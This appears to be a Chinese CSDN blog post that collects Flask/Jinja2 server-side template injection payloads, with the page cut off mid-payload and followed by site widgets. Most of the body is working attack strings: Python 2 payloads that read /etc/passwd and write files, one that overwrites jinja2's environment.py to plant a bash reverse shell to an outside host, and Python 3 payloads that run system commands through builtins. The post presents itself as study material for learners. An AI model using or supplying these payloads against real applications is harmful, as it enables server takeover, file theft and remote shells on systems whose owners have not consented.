jinja2模板注入_Flask jinja2 模板注入思路总结

Flask jinja2 模板注入思路总结前言虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找去也走了些弯路, 小白们可以参考一下如果有什么错误, 欢迎各位指正漏洞简介漏洞原理可以参考http://www.freebuf.com/articles/web/98619.htmlhttp://www....
摘要由CSDN通过智能技术生成

Flask jinja2 模板注入思路总结

前言

虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找去也走了些弯路, 小白们可以参考一下如果有什么错误, 欢迎各位指正

漏洞简介

漏洞原理可以参考http://www.freebuf.com/articles/web/98619.html

http://www.freebuf.com/articles/web/98928.html

常见 payload

ssti 可以用于 xss, 不过这里不具体介绍; 前面两篇文章给出了几个比较常用的 getshell 的 payload; 我会总结并补充一些python2:

# 注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html

# 读文件:

{ {''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

# 写文件:

{ {''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("")}}

也可以通过写 jinja2 的 environment.py 执行命令; jinja2 的模板会 load 这个 module, 而且这个 environment.py import 了 os 模块, 所以只要能写这个文件, 就可以执行任意命令:# 假设在 / usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个 shell

{ {''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')")}}

python3:

# 命令执行:

{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{ {c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}{%endif%}{%endfor%}

# 文件操作

{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{ {c.__init__.__globals__['__builtins__'].open('filename','r'

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值